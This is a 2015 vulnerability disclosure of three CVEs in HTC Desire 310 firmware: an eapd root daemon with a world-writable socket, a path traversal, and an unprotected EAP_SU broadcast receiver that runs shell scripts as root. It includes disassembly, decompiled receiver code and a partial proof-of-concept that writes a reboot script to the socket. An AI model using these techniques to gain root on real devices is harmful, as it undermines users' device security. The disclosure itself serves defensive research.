Our HTC "zerodays" from our Defcon workshop

Disclosure date:
Aug 7th 2015

Jon “jcase” Sawyer - jcase@cunninglogic.com- +Justin Case 
Tim “diff” Strazzere - strazz@gmail.com- +Tim Strazzere 

Impacted Devices:
HTC Desire 310
Likely Others

CVE-2015-5525 - Unsecured Unix Socket/IPC to root process for eapd
CVE-2015-5526 - Path transversal in eapd
CVE-2015-5527 - Backdoor for executing shell scripts as root


init starts the process /system/bin/eapd, which runs as root. This process’s entire purpose is to run shell scripts as the root user. This process listens for input on a socket that is world read/write. This socket should be protected by a stricter permissions, and/or a SELinux policy (and eapd shouldn’t exist).

srw-rw-rw- root     system            2015-08-04 15:22 eapd


The eapd process (/system/bin/eapd) is vulnerable to a path transversal vulnerability, when combined with CVE-2015-5525 this results in any app/user being able to execute a script as the root user. Input should be sanitized (and eapd shouldn’t exist).

path = “/data/data/com.cci.eapenhance/cache/“ + input + “.sh”

LDR             R1, =(a_sh - 0xB3E)
ADD             R6, SP, #0x220 +var_C4
LDR             R2, =(aSSS - 0xB42)
MOV             R0, R6  ; char *
LDR             R3, =(aDataDataCom_cc - 0xB46)
ADD             R1, PC ; a_sh ; ".sh"
STR             R7, [SP,#0x220+var_220]
ADD             R2, PC  ; "%s%s%s"
STR             R1, [SP,#0x220+var_21C]
ADD             R3, PC  ; "/data/data/com.cci.eapenhance/cache/"
MOVS            R1, #0x96 ; size_t
BLX             snprintf
LDR             R2, =(aScript_pathS - 0xB56)
MOV             R1, R5
MOV             R3, R6
MOVS            R0, #6
ADD             R2, PC  ; "script_path = %s"
BLX             __android_log_print
LDR             R1, =(aR - 0xB60)
MOV             R0, R6  ; char *
ADD             R1, PC  ; "r"
BLX             fopen
MOV             R9, R0
CBZ             R0, loc_BAA


LDR             R2, =(aSS - 0xB74)
MOVS            R1, #0x96 ; size_t
LDR             R3, =(aSystemBinSh - 0xB76)
ADD             R0, SP, #0x220 +var_15C ; char *
STR             R6, [SP,#0x220+var_220]
ADD             R2, PC  ; "%s %s"
ADD             R3, PC  ; "/system/bin/sh"
BLX             snprintf
LDR             R2, =(aCmdS - 0xB84)
MOV             R1, R5
ADD             R3, SP, #0x220 +var_15C
MOVS            R0, #6
ADD             R2, PC  ; "cmd========================%s"
BLX             __android_log_print
ADD             R0, SP, #0x220 +var_15C ; char *
BLX             system
MOV             R0, R9  ; FILE *
BLX             fclose
MOV             R0, R6  ; char *
BLX             remove
ADD             R0, SP, #0x220 +var_15C ; void *
MOVS            R1, #0  ; int
MOVS            R2, #0x96 ; size_t
BLX             memset


The application /system/app/EAP_SU.apk (com.cci.eapsu) has an unprotected Broadcast Receiver that acts a backdoor, to execute shell scripts as root through eapd without relying on the two previous CVEs. This may be exploited from an app or adb using a broadcast containing the script in an extra named “cmd”. The broadcast receivers should be protected with a strict permission (in reality EAP_SU and eapd should not exist). 

<manifest android:sharedUserId="android.uid.system" android:versionCode="2" android:versionName="1.1" package="com.cci.eapsu" xmlns:android="http://schemas.android.com/apk/res/android">
    <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme">
        <receiver android:name=".CmdReceiver">
                <action android:name="com.cci.eapsu.DoSuCmd" />

public class CmdReceiver extends BroadcastReceiver {
    private final String DO_SU_CMD;
    static final String TAG = "EAP_SU";
    private String cmd;

    public CmdReceiver() {
        this.DO_SU_CMD = "com.cci.eapsu.DoSuCmd";
        this.cmd = "";

    protected static boolean DoSuCmd(String arg8) {
        boolean v4 = false;
        SystemProperties.set("ctl.stop", "my_su_command");
        Log.d("EAP_SU", "doCmdByDaemon - cmd = " + arg8);
        String CmdPath = "/data";
        String CmdName = "cmd.sh";
        if(PlatformFeatures.getPlatformID() == 80 || PlatformFeatures.getPlatformID() == 66) {
            CmdName = "command.sh";

        File fileScript = new File(CmdPath, CmdName);
        if(fileScript.exists()) {

        if(!FileOperations.writeStrToFile(fileScript.getAbsolutePath(), arg8, false)) {
            if(fileScript.exists()) {

            Log.e("EAP_SU", "Write " + CmdPath + "/" + CmdName + " script Fail!!");
        else {
            SystemProperties.set("ctl.start", "my_su_command");
            v4 = true;

        return v4;

    public void onReceive(Context arg4, Intent arg5) {
        if(arg5.getAction().equals("com.cci.eapsu.DoSuCmd")) {
            this.cmd = arg5.getExtras().getString("cmd");
            Log.d("EAP_SU", "onReceive cmd: " + this.cmd);


LocalSocket mLocalSocket = new LocalSocket();
LocalSocketAddress mAddress = new LocalSocketAddress("eapd", LocalSocketAddress.Namespace.RESERVED);

String mScript = "#!/system/bin/sh\n/system/bin/reboot\n";

File scriptPath = new File ("/data/data/a.b.c/d/e.sh");

PrintWriter mWriter = new PrintWriter(scriptPath);

OutputStream mOS = mLocalSocket.getOutputStream();
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